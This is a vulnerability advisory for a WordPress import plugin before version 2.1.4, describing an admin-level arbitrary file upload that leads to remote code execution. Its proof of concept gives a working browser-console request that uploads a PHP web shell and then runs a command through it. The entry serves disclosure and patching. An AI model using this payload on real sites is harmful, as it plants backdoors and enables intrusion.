WordPress Plugin Vulnerabilities
Import XML and RSS Feeds < 2.1.4 - Admin+ Arbitrary File Upload
Description
The plugin does not filter file extensions for uploaded files, allowing an attacker to upload a malicious PHP file, leading to Remote Code Execution.
Proof of Concept
NOTE: Because of an error in this version of the plugin, the following POC only works on PHP versions previous to 8.0. 1. As an admin, visit `/wp-admin/options-general.php?page=moove-importer` 2. Run the following code in the browser console: await fetch( '/wp-admin/admin-ajax.php', { credentials: 'include', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `action=moove_save_import_template&type=upload&extension=php&file=<?php+system($_GET['cmd']);?>&form_data[post_title]=RCE&nonce=${document.querySelector('input[name=moove_xml_admin_nonce]').value}` } ) 3. Visit `/wp-admin/options-general.php?page=moove-importer&tab=plugin_templates` and click on the latest Template which was created. 4. Copy the URL from the field "Type the file URL". 5. Paste the link into the browser URL bar, and add `?cmd=id`. 6. Load the page and see the output of the `id` command.
Affects Plugins
References
CVE
Classification
Type
RCE
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Jonatas Souza Villa Flor
Submitter
Jonatas Souza Villa Flor
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-08-28 (about 8 months ago)
Added
2023-08-30 (about 8 months ago)
Last Updated
2023-08-30 (about 8 months ago)